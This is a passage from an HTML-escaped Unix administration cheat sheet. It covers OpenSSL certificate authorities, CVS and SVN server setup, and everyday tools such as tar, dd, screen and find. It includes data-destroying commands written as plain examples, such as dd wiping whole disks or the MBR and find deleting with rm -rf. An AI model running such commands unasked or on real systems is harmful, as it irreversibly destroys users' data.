/&gt;dir             = /usr/local/certs/CA       # Where everything is kept&lt;br /&gt;certs           = $dir/certs                # Where the issued certs are kept&lt;br /&gt;crl_dir         = $dir/crl                  # Where the issued crl are kept&lt;br /&gt;database        = $dir/index.txt            # database index file.&lt;br /&gt;&lt;br /&gt;Make sure the directories exist or create them&lt;br /&gt;&lt;br /&gt;# mkdir -p /usr/local/certs/CA&lt;br /&gt;# cd /usr/local/certs/CA&lt;br /&gt;# mkdir certs crl newcerts private&lt;br /&gt;# echo &quot;01&quot; &gt; serial                        # Only if serial does not exist&lt;br /&gt;# touch index.txt&lt;br /&gt;&lt;br /&gt;If you intend to get a signed certificate from a vendor, you only need a certificate signing request (CSR). This CSR will then be signed by the vendor for a limited time (e.g. 1 year).&lt;br /&gt;Create a certificate authority&lt;br /&gt;If you do not have a certificate authority from a vendor, you&#39;ll have to create your own. This step is not necessary if one intend to use a vendor to sign the request. To make a certificate authority (CA):&lt;br /&gt;&lt;br /&gt;# openssl req -new -x509 -days 730 -config /etc/ssl/openssl.cnf \&lt;br /&gt;-keyout CA/private/cakey.pem -out CA/cacert.pem&lt;br /&gt;&lt;br /&gt;Create a certificate signing request&lt;br /&gt;To make a new certificate (for mail server or web server for example), first create a request certificate with its private key. If your application do not support encrypted private key (for example UW-IMAP does not), then disable encryption with -nodes.&lt;br /&gt;&lt;br /&gt;# openssl req -new -keyout newkey.pem -out newreq.pem \&lt;br /&gt;-config /etc/ssl/openssl.cnf&lt;br /&gt;# openssl req -nodes -new -keyout newkey.pem -out newreq.pem \&lt;br /&gt;-config /etc/ssl/openssl.cnf                # No encryption for the key&lt;br /&gt;&lt;br /&gt;Keep this created CSR (newreq.pem) as it can be signed again at the next renewal, the signature onlt will limit the validity of the certificate. This process also created the private key newkey.pem.&lt;br /&gt;Sign the certificate&lt;br /&gt;The certificate request has to be signed by the CA to be valid, this step is usually done by the vendor. Note: replace &quot;servername&quot; with the name of your server in the next commands.&lt;br /&gt;&lt;br /&gt;# cat newreq.pem newkey.pem &gt; new.pem&lt;br /&gt;# openssl ca -policy policy_anything -out servernamecert.pem \&lt;br /&gt;-config /etc/ssl/openssl.cnf -infiles new.pem&lt;br /&gt;# mv newkey.pem servernamekey.pem&lt;br /&gt;&lt;br /&gt;Now servernamekey.pem is the private key and servernamecert.pem is the server certificate.&lt;br /&gt;Create united certificate&lt;br /&gt;The IMAP server wants to have both private key and server certificate in the same file. And in general, this is also easier to handle, but the file has to be kept securely!. Apache also can deal with it well. Create a file servername.pem containing both the certificate and key.&lt;br /&gt;&lt;br /&gt;    * Open the private key (servernamekey.pem) with a text editor and copy the private key into the &quot;servername.pem&quot; file.&lt;br /&gt;    * Do the same with the server certificate (servernamecert.pem).&lt;br /&gt;&lt;br /&gt;The final servername.pem file should look like this:&lt;br /&gt;&lt;br /&gt;-----BEGIN RSA PRIVATE KEY-----&lt;br /&gt;MIICXQIBAAKBgQDutWy+o/XZ/[...]qK5LqQgT3c9dU6fcR+WuSs6aejdEDDqBRQ&lt;br /&gt;-----END RSA PRIVATE KEY-----&lt;br /&gt;-----BEGIN CERTIFICATE-----&lt;br /&gt;MIIERzCCA7CgAwIBAgIBBDANB[...]iG9w0BAQQFADCBxTELMAkGA1UEBhMCREUx&lt;br /&gt;-----END CERTIFICATE-----&lt;br /&gt;&lt;br /&gt;What we have now in the directory /usr/local/certs/:&lt;br /&gt;&lt;br /&gt;    * CA/private/cakey.pem (CA server private key)&lt;br /&gt;    * CA/cacert.pem (CA server public key)&lt;br /&gt;    * certs/servernamekey.pem (server private key)&lt;br /&gt;    * certs/servernamecert.pem (server signed certificate)&lt;br /&gt;    * certs/servername.pem (server certificate with private key)&lt;br /&gt;&lt;br /&gt;Keep the private key secure!&lt;br /&gt;View certificate information&lt;br /&gt;To view the certificate information simply do:&lt;br /&gt;&lt;br /&gt;# openssl x509 -text -in servernamecert.pem      # View the certificate info&lt;br /&gt;# openssl req -noout -text -in server.csr        # View the request info&lt;br /&gt;# openssl s_client -connect cb.vu:443            # Check a web server certificate&lt;br /&gt;&lt;br /&gt;CVS&lt;br /&gt;&lt;br /&gt;Server setup | CVS test | SSH tunneling | CVS usage&lt;br /&gt;Server setup&lt;br /&gt;Initiate the CVS&lt;br /&gt;Decide where the main repository will rest and create a root cvs. For example /usr/local/cvs (as root):&lt;br /&gt;&lt;br /&gt;# mkdir -p /usr/local/cvs&lt;br /&gt;# setenv CVSROOT /usr/local/cvs      # Set CVSROOT to the new location (local)&lt;br /&gt;# cvs init                           # Creates all internal CVS config files&lt;br /&gt;# cd /root&lt;br /&gt;# cvs checkout CVSROOT               # Checkout the config files to modify them&lt;br /&gt;# cd CVSROOT&lt;br /&gt;edit config ( fine as it is)&lt;br /&gt;# cvs commit config&lt;br /&gt;cat &gt;&gt; writers                       # Create a writers file (optionally also readers)&lt;br /&gt;colin&lt;br /&gt;^D                                   # Use [Control][D] to quit the edit&lt;br /&gt;# cvs add writers                    # Add the file writers into the repository&lt;br /&gt;# cvs edit checkoutlist&lt;br /&gt;# cat &gt;&gt; checkoutlist&lt;br /&gt;writers&lt;br /&gt;^D                                   # Use [Control][D] to quit the edit&lt;br /&gt;# cvs commit                         # Commit all the configuration changes&lt;br /&gt;&lt;br /&gt;Add a readers file if you want to differentiate read and write permissions Note: Do not (ever) edit files directly into the main cvs, but rather checkout the file, modify it and check it in. We did this with the file writers to define the write access.&lt;br /&gt;There are three popular ways to access the CVS at this point. The first two don&#39;t need any further configuration. See the examples on CVSROOT below for how to use them:&lt;br /&gt;&lt;br /&gt;    * Direct local access to the file system. The user(s) need sufficient file permission to access the CS directly and there is no further authentication in addition to the OS login. However this is only useful if the repository is local.&lt;br /&gt;    * Remote access with ssh with the ext protocol. Any use with an ssh shell account and read/write permissions on the CVS server can access the CVS directly with ext over ssh without any additional tunnel. There is no server process running on the CVS for this to work. The ssh login does the authentication.&lt;br /&gt;    * Remote access with pserver (default port: 2401/tcp). This is the preferred use for larger user base as the users are authenticated by the CVS pserver with a dedicated password database, there is therefore no need for local users accounts. This setup is explained below.&lt;br /&gt;&lt;br /&gt;Network setup with inetd&lt;br /&gt;The CVS can be run locally only if a network access is not needed. For a remote access, the daemon inetd can start the pserver with the following line in /etc/inetd.conf (/etc/xinetd.d/cvs on SuSE):&lt;br /&gt;&lt;br /&gt;cvspserver stream  tcp  nowait  cvs  /usr/bin/cvs cvs \&lt;br /&gt;--allow-root=/usr/local/cvs pserver&lt;br /&gt;&lt;br /&gt;It is a good idea to block the cvs port from the Internet with the firewall and use an ssh tunnel to access the repository remotely.&lt;br /&gt;Separate authentication&lt;br /&gt;It is possible to have cvs users which are not part of the OS (no local users). This is actually probably wanted too from the security point of view. Simply add a file named passwd (in the CVSROOT directory) containing the users login and password in the crypt format. This is can be done with the apache htpasswd tool.&lt;br /&gt;Note: This passwd file is the only file which has to be edited directly in the CVSROOT directory. Also it won&#39;t be checked out. More info with htpasswd --help&lt;br /&gt;&lt;br /&gt;# htpasswd -cb passwd user1 password1  # -c creates the file&lt;br /&gt;# htpasswd -b passwd user2 password2&lt;br /&gt;&lt;br /&gt;Now add :cvs at the end of each line to tell the cvs server to change the user to cvs (or whatever your cvs server is running under). It looks like this:&lt;br /&gt;&lt;br /&gt;# cat passwd&lt;br /&gt;user1:xsFjhU22u8Fuo:cvs&lt;br /&gt;user2:vnefJOsnnvToM:cvs&lt;br /&gt;&lt;br /&gt;Test it&lt;br /&gt;Test the login as normal user (for example here me)&lt;br /&gt;&lt;br /&gt;# cvs -d :pserver:colin@192.168.50.254:/usr/local/cvs login&lt;br /&gt;Logging in to :pserver:colin@192.168.50.254:2401/usr/local/cvs&lt;br /&gt;CVS password:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;CVSROOT variable&lt;br /&gt;This is an environment variable used to specify the location of the repository we&#39;re doing operations on. For local use, it can be just set to the directory of the repository. For use over the network, the transport protocol must be specified. Set the CVSROOT variable with setenv CVSROOT string on a csh, tcsh shell, or with export CVSROOT=string on a sh, bash shell.&lt;br /&gt;&lt;br /&gt;# setenv CVSROOT :pserver:&lt;username&gt;@&lt;host&gt;:/cvsdirectory&lt;br /&gt;For example:&lt;br /&gt;# setenv CVSROOT /usr/local/cvs                               # Used locally only&lt;br /&gt;# setenv CVSROOT :local:/usr/local/cvs                        # Same as above&lt;br /&gt;# setenv CVSROOT :ext:user@cvsserver:/usr/local/cvs           # Direct access with SSH&lt;br /&gt;# setenv CVS_RSH ssh                                          # for the ext access&lt;br /&gt;# setenv CVSROOT :pserver:user@cvsserver.254:/usr/local/cvs   # network with pserver&lt;br /&gt;&lt;br /&gt;When the login succeeded one can import a new project into the repository: cd into your project root directory&lt;br /&gt;&lt;br /&gt;cvs import &lt;module name&gt; &lt;vendor tag&gt; &lt;initial tag&gt;&lt;br /&gt;cvs -d :pserver:colin@192.168.50.254:/usr/local/cvs import MyProject MyCompany START&lt;br /&gt;&lt;br /&gt;Where MyProject is the name of the new project in the repository (used later to checkout). Cvs will import the current directory content into the new project.&lt;br /&gt;&lt;br /&gt;To checkout:&lt;br /&gt;&lt;br /&gt;# cvs -d :pserver:colin@192.168.50.254:/usr/local/cvs checkout MyProject&lt;br /&gt;or&lt;br /&gt;# setenv CVSROOT :pserver:colin@192.168.50.254:/usr/local/cvs&lt;br /&gt;# cvs checkout MyProject&lt;br /&gt;&lt;br /&gt;SSH tunneling for CVS&lt;br /&gt;We need 2 shells for this. On the first shell we connect to the cvs server with ssh and port-forward the cvs connection. On the second shell we use the cvs normally as if it where running locally.&lt;br /&gt;on shell 1:&lt;br /&gt;&lt;br /&gt;# ssh -L2401:localhost:2401 colin@cvs_server   # Connect directly to the CVS server. Or:&lt;br /&gt;# ssh -L2401:cvs_server:2401 colin@gateway     # Use a gateway to reach the CVS&lt;br /&gt;&lt;br /&gt;on shell 2:&lt;br /&gt;&lt;br /&gt;# setenv CVSROOT :pserver:colin@localhost:/usr/local/cvs&lt;br /&gt;# cvs login&lt;br /&gt;Logging in to :pserver:colin@localhost:2401/usr/local/cvs&lt;br /&gt;CVS password:&lt;br /&gt;# cvs checkout MyProject/src&lt;br /&gt;&lt;br /&gt;CVS commands and usage&lt;br /&gt;Import&lt;br /&gt;The import command is used to add a whole directory, it must be run from within the directory to be imported. Say the directory /devel/ contains all files and subdirectories to be imported. The directory name on the CVS (the module) will be called &quot;myapp&quot;.&lt;br /&gt;&lt;br /&gt;# cvs import [options] directory-name vendor-tag release-tag&lt;br /&gt;# cd /devel                          # Must be inside the project to import it&lt;br /&gt;# cvs import myapp Company R1_0      # Release tag can be anything in one word&lt;br /&gt;&lt;br /&gt;After a while a new directory &quot;/devel/tools/&quot; was added and it has to be imported too.&lt;br /&gt;&lt;br /&gt;# cd /devel/tools&lt;br /&gt;# cvs import myapp/tools Company R1_0&lt;br /&gt;&lt;br /&gt;Checkout update add commit&lt;br /&gt;&lt;br /&gt;# cvs co myapp/tools                 # Will only checkout the directory tools&lt;br /&gt;# cvs co -r R1_1 myapp               # Checkout myapp at release R1_1 (is sticky)&lt;br /&gt;# cvs -q -d update -P                # A typical CVS update&lt;br /&gt;# cvs update -A                      # Reset any sticky tag (or date, option)&lt;br /&gt;# cvs add newfile                    # Add a new file&lt;br /&gt;# cvs add -kb newfile                # Add a new binary file&lt;br /&gt;# cvs commit file1 file2             # Commit the two files only&lt;br /&gt;# cvs commit -m &quot;message&quot;            # Commit all changes done with a message&lt;br /&gt;&lt;br /&gt;Create a patch&lt;br /&gt;It is best to create and apply a patch from the working development directory related to the project, or from within the source directory.&lt;br /&gt;&lt;br /&gt;# cd /devel/project&lt;br /&gt;# diff -Naur olddir newdir &gt; patchfile # Create a patch from a directory or a file&lt;br /&gt;# diff -Naur oldfile newfile &gt; patchfile&lt;br /&gt;&lt;br /&gt;Apply a patch&lt;br /&gt;Sometimes it is necessary to strip a directory level from the patch, depending how it was created. In case of difficulties, simply look at the first lines of the patch and try -p0, -p1 or -p2.&lt;br /&gt;&lt;br /&gt;# cd /devel/project&lt;br /&gt;# patch --dry-run -p0 &lt; patchfile    # Test the path without applying it&lt;br /&gt;# patch -p0 &lt; patchfile&lt;br /&gt;# patch -p1 &lt; patchfile              # strip off the 1st level from the path&lt;br /&gt;&lt;br /&gt;SVN&lt;br /&gt;&lt;br /&gt;Server setup | SVN+SSH | SVN over http | SVN usage&lt;br /&gt;Subversion (SVN)http://subversion.tigris.org/ is a version control system designed to be the successor of CVS (Concurrent Versions System). The concept is similar to CVS, but many shortcomings where improved. See also the SVN bookhttp://svnbook.red-bean.com/en/1.4/.&lt;br /&gt;Server setup&lt;br /&gt;The initiation of the repository is fairly simple (here for example /home/svn/ must exist):&lt;br /&gt;&lt;br /&gt;# svnadmin create --fs-type fsfs /home/svn/project1&lt;br /&gt;&lt;br /&gt;Now the access to the repository is made possible with:&lt;br /&gt;&lt;br /&gt;    * file:// Direct file system access with the svn client with. This requires local permissions on the file system.&lt;br /&gt;    * svn:// or svn+ssh:// Remote access with the svnserve server (also over SSH). This requires local permissions on the file system (default port: 2690/tcp).&lt;br /&gt;    * http:// Remote access with webdav using apache. No local users are necessary for this method.&lt;br /&gt;&lt;br /&gt;Using the local file system, it is now possible to import and then check out an existing project. Unlike with CVS it is not necessary to cd into the project directory, simply give the full path:&lt;br /&gt;&lt;br /&gt;# svn import /project1/ file:///home/svn/project1/trunk -m &#39;Initial import&#39;&lt;br /&gt;# svn checkout file:///home/svn/project1&lt;br /&gt;&lt;br /&gt;The new directory &quot;trunk&quot; is only a convention, this is not required.&lt;br /&gt;Remote access with ssh&lt;br /&gt;No special setup is required to access the repository via ssh, simply replace file:// with svn+ssh/hostname. For example:&lt;br /&gt;&lt;br /&gt;# svn checkout svn+ssh://hostname/home/svn/project1&lt;br /&gt;&lt;br /&gt;As with the local file access, every user needs an ssh access to the server (with a local account) and also read/write access. This method might be suitable for a small group. All users could belong to a subversion group which owns the repository, for example:&lt;br /&gt;&lt;br /&gt;# groupadd subversion&lt;br /&gt;# groupmod -A user1 subversion&lt;br /&gt;# chown -R root:subversion /home/svn&lt;br /&gt;# chmod -R 770 /home/svn&lt;br /&gt;&lt;br /&gt;Remote access with http (apache)&lt;br /&gt;Remote access over http (https) is the only good solution for a larger user group. This method uses the apache authentication, not the local accounts. This is a typical but small apache configuration:&lt;br /&gt;&lt;br /&gt;LoadModule dav_module         modules/mod_dav.so&lt;br /&gt;LoadModule dav_svn_module     modules/mod_dav_svn.so&lt;br /&gt;LoadModule authz_svn_module   modules/mod_authz_svn.so    # Only for access control&lt;br /&gt;&lt;br /&gt;&lt;Location /svn&gt;&lt;br /&gt;  DAV svn&lt;br /&gt;  # any &quot;/svn/foo&quot; URL will map to a repository /home/svn/foo&lt;br /&gt;  SVNParentPath /home/svn&lt;br /&gt;  AuthType Basic&lt;br /&gt;  AuthName &quot;Subversion repository&quot;&lt;br /&gt;  AuthzSVNAccessFile /etc/apache2/svn.acl&lt;br /&gt;  AuthUserFile /etc/apache2/svn-passwd&lt;br /&gt;  Require valid-user&lt;br /&gt;&lt;/Location&gt;&lt;br /&gt;&lt;br /&gt;The apache server needs full access to the repository:&lt;br /&gt;&lt;br /&gt;# chown -R www:www /home/svn&lt;br /&gt;&lt;br /&gt;Create a user with htpasswd2:&lt;br /&gt;&lt;br /&gt;# htpasswd -c /etc/svn-passwd user1  # -c creates the file&lt;br /&gt;&lt;br /&gt;Access control svn.acl example&lt;br /&gt;&lt;br /&gt;# Default it read access. &quot;* =&quot; would be default no access&lt;br /&gt;[/]&lt;br /&gt;* = r&lt;br /&gt;[groups]&lt;br /&gt;project1-developers = joe, jack, jane&lt;br /&gt;# Give write access to the developers&lt;br /&gt;[project1:]&lt;br /&gt;@project1-developers = rw&lt;br /&gt;&lt;br /&gt;SVN commands and usage&lt;br /&gt;See also the Subversion Quick Reference Cardhttp://www.cs.put.poznan.pl/csobaniec/Papers/svn-refcard.pdf. Tortoise SVNhttp://tortoisesvn.tigris.org is a nice Windows interface.&lt;br /&gt;Import&lt;br /&gt;A new project, that is a directory with some files, is imported into the repository with the import command. Import is also used to add a directory with its content to an existing project.&lt;br /&gt;&lt;br /&gt;# svn help import                                # Get help for any command&lt;br /&gt;    # Add a new directory (with content) into the src dir on project1&lt;br /&gt;# svn import /project1/newdir http://host.url/svn/project1/trunk/src -m &#39;add newdir&#39;&lt;br /&gt;&lt;br /&gt;Typical SVN commands&lt;br /&gt;&lt;br /&gt;# svn co http://host.url/svn/project1/trunk      # Checkout the most recent version&lt;br /&gt;    # Tags and branches are created by copying&lt;br /&gt;# svn mkdir http://host.url/svn/project1/tags/   # Create the tags directory&lt;br /&gt;# svn copy -m &quot;Tag rc1 rel.&quot; http://host.url/svn/project1/trunk \&lt;br /&gt;                             http://host.url/svn/project1/tags/1.0rc1&lt;br /&gt;# svn status [--verbose]                         # Check files status into working dir&lt;br /&gt;# svn add src/file.h src/file.cpp                # Add two files&lt;br /&gt;# svn commit -m &#39;Added new class file&#39;           # Commit the changes with a message&lt;br /&gt;# svn ls http://host.url/svn/project1/tags/      # List all tags&lt;br /&gt;# svn move foo.c bar.c                           # Move (rename) files&lt;br /&gt;# svn delete some_old_file                       # Delete files&lt;br /&gt;&lt;br /&gt;Useful Commands&lt;br /&gt;&lt;br /&gt;less | vi | mail | tar | dd | screen | find | Miscellaneous&lt;br /&gt;less&lt;br /&gt;The less command displays a text document on the console. It is present on most installation.&lt;br /&gt;&lt;br /&gt;# less unixtoolbox.xhtml&lt;br /&gt;&lt;br /&gt;Some important commands are (^N stands for [control]-[N]):&lt;br /&gt;&lt;br /&gt;    * h H       good help on display&lt;br /&gt;    * f ^F ^V SPACE       Forward one window (or N lines).&lt;br /&gt;    * b ^B ESC-v       Backward one window (or N lines).&lt;br /&gt;    * F       Forward forever; like &quot;tail -f&quot;.&lt;br /&gt;    * /pattern       Search forward for (N-th) matching line.&lt;br /&gt;    * ?pattern       Search backward for (N-th) matching line.&lt;br /&gt;    * n       Repeat previous search (for N-th occurrence).&lt;br /&gt;    * N       Repeat previous search in reverse direction.&lt;br /&gt;    * q       quit&lt;br /&gt;&lt;br /&gt;vi&lt;br /&gt;Vi is present on ANY Linux/Unix installation (not gentoo?) and it is therefore useful to know some basic commands. There are two modes: command mode and insertion mode. The commands mode is accessed with [ESC], the insertion mode with i. Use : help if you are lost.&lt;br /&gt;The editors nano and pico are usually available too and are easier (IMHO) to use.&lt;br /&gt;Quit&lt;br /&gt;&lt;br /&gt;    * :w newfilename       save the file to newfilename&lt;br /&gt;    * :wq or :x       save and quit&lt;br /&gt;    * :q!       quit without saving&lt;br /&gt;&lt;br /&gt;Search and move&lt;br /&gt;&lt;br /&gt;    * /string       Search forward for string&lt;br /&gt;    * ?string       Search back for string&lt;br /&gt;    * n       Search for next instance of string&lt;br /&gt;    * N       Search for previous instance of string&lt;br /&gt;    * {       Move a paragraph back&lt;br /&gt;    * }       Move a paragraph forward&lt;br /&gt;    * 1G       Move to the first line of the file&lt;br /&gt;    * nG       Move to the n th line of the file&lt;br /&gt;    * G       Move to the last line of the file&lt;br /&gt;    * :%s/OLD/NEW/g       Search and replace every occurrence&lt;br /&gt;&lt;br /&gt;Delete text&lt;br /&gt;&lt;br /&gt;    * dd       delete current line&lt;br /&gt;    * D       Delete to the end of the line&lt;br /&gt;    * dw       Delete word&lt;br /&gt;    * x       Delete character&lt;br /&gt;    * u       Undo last&lt;br /&gt;    * U       Undo all changes to current line&lt;br /&gt;&lt;br /&gt;mail&lt;br /&gt;The mail command is a basic application to read and send email, it is usually installed. To send an email simply type &quot;mail user@domain&quot;. The first line is the subject, then the mail content. Terminate and send the email with a single dot (.) in a new line. Example:&lt;br /&gt;&lt;br /&gt;# mail c@cb.vu&lt;br /&gt;Subject: Your text is full of typos&lt;br /&gt;&quot;For a moment, nothing happened. Then, after a second or so, &lt;br /&gt;nothing continued to happen.&quot;&lt;br /&gt;.&lt;br /&gt;EOT&lt;br /&gt;#&lt;br /&gt;&lt;br /&gt;This is also working with a pipe:&lt;br /&gt;&lt;br /&gt;# echo &quot;This is the mail body&quot; | mail c@cb.vu&lt;br /&gt;&lt;br /&gt;This is also a simple way to test the mail server.&lt;br /&gt;tar&lt;br /&gt;The command tar (tape archive) creates and extracts archives of file and directories. The archive .tar is uncompressed, a compressed archive has the extension .tgz or .tar.gz (zip) or .tbz (bzip2). Do not use absolute path when creating an archive, you probably want to unpack it somewhere else. Some typical commands are:&lt;br /&gt;Create&lt;br /&gt;&lt;br /&gt;# cd /&lt;br /&gt;# tar -cf home.tar home/        # archive the whole /home directory (c for create)&lt;br /&gt;# tar -czf home.tgz home/       # same with zip compression&lt;br /&gt;# tar -cjf home.tbz home/       # same with bzip2 compression&lt;br /&gt;&lt;br /&gt;Only include one (or two) directories from a tree, but keep the relative structure. For example archive /usr/local/etc and /usr/local/www and the first directory in the archive should be local/.&lt;br /&gt;&lt;br /&gt;# tar -C /usr -czf local.tgz local/etc local/www&lt;br /&gt;# tar -C /usr -xzf local.tgz    # To untar the local dir into /usr&lt;br /&gt;# cd /usr; tar -xzf local.tgz   # Is the same as above&lt;br /&gt;&lt;br /&gt;Extract&lt;br /&gt;&lt;br /&gt;# tar -tzf home.tgz             # look inside the archive without extracting (list)&lt;br /&gt;# tar -xf home.tar              # extract the archive here (x for extract)&lt;br /&gt;# tar -xzf home.tgz             # same with zip compression&lt;br /&gt;# tar -xjf home.tbz             # same with bzip2 compression&lt;br /&gt;# tar -xjf home.tbz home/colin/file.txt    # Restore a single file&lt;br /&gt;&lt;br /&gt;More advanced&lt;br /&gt;&lt;br /&gt;# tar c dir/ | gzip | ssh user@remote &#39;dd of=dir.tgz&#39; # arch dir/ and store remotely.&lt;br /&gt;# tar cvf - `find . -print` &gt; backup.tar              # arch the current directory.&lt;br /&gt;# tar -cf - -C /etc . | tar xpf - -C /backup/etc      # Copy directories&lt;br /&gt;# tar -cf - -C /etc . | ssh user@remote tar xpf - -C /backup/etc      # Remote copy.&lt;br /&gt;# tar -czf home.tgz --exclude &#39;*.o&#39; --exclude &#39;tmp/&#39; home/&lt;br /&gt;&lt;br /&gt;dd&lt;br /&gt;The program dd (disk dump or destroy disk or see the meaning of dd) is used to copy partitions and disks and for other copy tricks. Typical usage:&lt;br /&gt;&lt;br /&gt;# dd if=&lt;source&gt; of=&lt;target&gt; bs=&lt;byte size&gt; conv=&lt;conversion&gt;&lt;br /&gt;&lt;br /&gt;Important conv options:&lt;br /&gt;&lt;br /&gt;    * notrunc       do not truncate the output file, all zeros will be written as zeros.&lt;br /&gt;    * noerror       continue after read errors (e.g. bad blocks)&lt;br /&gt;    * sync       pad every input block with Nulls to ibs-size&lt;br /&gt;&lt;br /&gt;The default byte size is 512 (one block). The MBR, where the partition table is located, is on the first block, the first 63 blocks of a disk are empty. Larger byte sizes are faster to copy but require also more memory.&lt;br /&gt;Backup and restore&lt;br /&gt;&lt;br /&gt;# dd if=/dev/hda of=/dev/hdc bs=16065b                # Copy disk to disk (same size)&lt;br /&gt;# dd if=/dev/sda7 of=/home/root.img bs=4096 conv=notrunc,noerror # Backup /&lt;br /&gt;# dd if=/home/root.img of=/dev/sda7 bs=4096 conv=notrunc,noerror # Restore /&lt;br /&gt;# dd bs=1M if=/dev/ad4s3e | gzip -c &gt; ad4s3e.gz                  # Zip the backup&lt;br /&gt;# gunzip -dc ad4s3e.gz | dd of=/dev/ad0s3e bs=1M                 # Restore the zip&lt;br /&gt;# dd bs=1M if=/dev/ad4s3e | gzip | ssh eedcoba@fry &#39;dd of=ad4s3e.gz&#39; # also remote&lt;br /&gt;# gunzip -dc ad4s3e.gz | ssh eedcoba@host &#39;dd of=/dev/ad0s3e bs=1M&#39;&lt;br /&gt;# dd if=/dev/ad0 of=/dev/ad2 skip=1 seek=1 bs=4k conv=noerror    # Skip MBR&lt;br /&gt;    # This is necessary if the destination (ad2) is smaller.&lt;br /&gt;&lt;br /&gt;Recover&lt;br /&gt;The command dd will read every single block of the partition, even the blocks. In case of problems it is better to use the option conv=sync,noerror so dd will skip the bad block and write zeros at the destination. Accordingly it is important to set the block size equal or smaller than the disk block size. A 1k size seems safe, set it with bs=1k. If a disk has bad sectors and the data should be recovered from a partition, create an image file with dd, mount the image and copy the content to a new disk. With the option noerror, dd will skip the bad sectors and write zeros instead, thus only the data contained in the bad sectors will be lost.&lt;br /&gt;&lt;br /&gt;# dd if=/dev/hda of=/dev/null bs=1m                   # Check for bad blocks&lt;br /&gt;# dd bs=1k if=/dev/hda1 conv=sync,noerror,notrunc | gzip | ssh \ # Send to remote&lt;br /&gt;root@fry &#39;dd of=hda1.gz bs=1k&#39;&lt;br /&gt;# dd bs=1k if=/dev/hda1 conv=sync,noerror,notrunc of=hda1.img    # Store into an image&lt;br /&gt;# mount -o loop /hda1.img /mnt                        # Mount the image&lt;br /&gt;# rsync -ax /mnt/ /newdisk/                           # Copy on a new disk&lt;br /&gt;# dd if=/dev/hda of=/dev/hda                          # Refresh the magnetic state&lt;br /&gt;  # The above is useful to refresh a disk. It is perfectly safe, but must be unmounted.&lt;br /&gt;&lt;br /&gt;Delete&lt;br /&gt;&lt;br /&gt;# dd if=/dev/zero of=/dev/hdc                         # Delete full disk&lt;br /&gt;# dd if=/dev/urandom of=/dev/hdc                      # Delete full disk better&lt;br /&gt;# kill -USR1 PID                                      # View dd progress (Linux)&lt;br /&gt;# kill -INFO PID                                      # View dd progress (FreeBSD)&lt;br /&gt;&lt;br /&gt;MBR tricks&lt;br /&gt;The MBR contains the boot loader and the partition table and is 512 bytes small. The first 446 are for the boot loader, the bytes 446 to 512 are for the partition table.&lt;br /&gt;&lt;br /&gt;# dd if=/dev/sda of=/mbr_sda.bak bs=512 count=1       # Backup the full MBR&lt;br /&gt;# dd if=/dev/zero of=/dev/sda bs=512 count=1          # Delete MBR and partition table&lt;br /&gt;# dd if=/mbr_sda.bak of=/dev/sda bs=512 count=1       # Restore the full MBR&lt;br /&gt;# dd if=/mbr_sda.bak of=/dev/sda bs=446 count=1       # Restore only the boot loader&lt;br /&gt;# dd if=/mbr_sda.bak of=/dev/sda bs=1 count=64 skip=446 seek=446 # Restore partition table&lt;br /&gt;&lt;br /&gt;screen&lt;br /&gt;Screen has two main functionalities:&lt;br /&gt;&lt;br /&gt;    * Run multiple terminal session within a single terminal.&lt;br /&gt;    * A started program is decoupled from the real terminal and can thus run in the background. The real terminal can be closed and reattached later.&lt;br /&gt;&lt;br /&gt;Short start example&lt;br /&gt;start screen with:&lt;br /&gt;&lt;br /&gt;# screen&lt;br /&gt;&lt;br /&gt;Within the screen session we can start a long lasting program (like top).&lt;br /&gt;&lt;br /&gt;# top&lt;br /&gt;&lt;br /&gt;Now detach with Ctrl-a Ctrl-d. Reattach the terminal with:&lt;br /&gt;&lt;br /&gt;# screen -R -D&lt;br /&gt;&lt;br /&gt;In detail this means: If a session is running, then reattach. If necessary detach and logout remotely first. If it was not running create it and notify the user. Or:&lt;br /&gt;&lt;br /&gt;# screen -x&lt;br /&gt;&lt;br /&gt;Attach to a running screen in a multi display mode. The console is thus shared among multiple users. Very useful for team work/debug!&lt;br /&gt;Screen commands (within screen)&lt;br /&gt;All screen commands start with Ctrl-a.&lt;br /&gt;&lt;br /&gt;    * Ctrl-a ? help and summary of functions&lt;br /&gt;    * Ctrl-a c create an new window (terminal)&lt;br /&gt;    * Ctrl-a Ctrl-n and Ctrl-a Ctrl-p to switch to the next or previous window in the list, by number.&lt;br /&gt;    * Ctrl-a Ctrl-N where N is a number from 0 to 9, to switch to the corresponding window.&lt;br /&gt;    * Ctrl-a &quot; to get a navigable list of running windows&lt;br /&gt;    * Ctrl-a a to clear a missed Ctrl-a&lt;br /&gt;    * Ctrl-a Ctrl-d to disconnect and leave the session running in the background&lt;br /&gt;    * Ctrl-a x lock the screen terminal with a password&lt;br /&gt;&lt;br /&gt;The screen session is terminated when the program within the running terminal is closed and you logout from the terminal.&lt;br /&gt;Find&lt;br /&gt;Some important options:&lt;br /&gt;&lt;br /&gt;    * -x (on BSD) -xdev (on Linux)       Stay on the same file system (dev in fstab).&lt;br /&gt;    * -exec cmd {} \;       Execute the command and replace {} with the full path&lt;br /&gt;    * -iname       Like -name but is case insensitive&lt;br /&gt;    * -ls       Display information about the file (like ls -la)&lt;br /&gt;    * -size n       n is +-n (k M G T P)&lt;br /&gt;    * -cmin n       File&#39;s status was last changed n minutes ago.&lt;br /&gt;&lt;br /&gt;# find . -type f ! -perm -444        # Find files not readable by all&lt;br /&gt;# find . -type d ! -perm -111        # Find dirs not accessible by all&lt;br /&gt;# find /home/user/ -cmin 10 -print   # Files created or modified in the last 10 min.&lt;br /&gt;# find . -name &#39;*.[ch]&#39; | xargs grep -E &#39;expr&#39; # Search &#39;expr&#39; in this dir and below.&lt;br /&gt;# find / -name &quot;*.core&quot; | xargs rm   # Find core dumps and delete them (also try core.*)&lt;br /&gt;# find / -name &quot;*.core&quot; -print -exec rm {} \;  # Other syntax&lt;br /&gt;      # Find images and create an archive, iname is not case sensitive. -r for append&lt;br /&gt;# find . \( -iname &quot;*.png&quot; -o -iname &quot;*.jpg&quot; \) -print -exec tar -rf images.tar {} \;&lt;br /&gt;# find . -type f -name &quot;*.txt&quot; ! -name README.txt -print  # Exclude README.txt files&lt;br /&gt;# find /var/ -size +10M -exec ls -lh {} \;     # Find large files &gt; 10 MB&lt;br /&gt;# find /var/ -size +10M -ls           # This is simpler&lt;br /&gt;# find . -size +10M -size -50M -print&lt;br /&gt;# find /usr/ports/ -name work -type d -print -exec rm -rf {} \;  # Clean the ports&lt;br /&gt;      # Find files with SUID; those file are vulnerable and must be kept secure&lt;br /&gt;# find / -type f -user root -perm -4000 -exec ls -l {} \; &lt;br 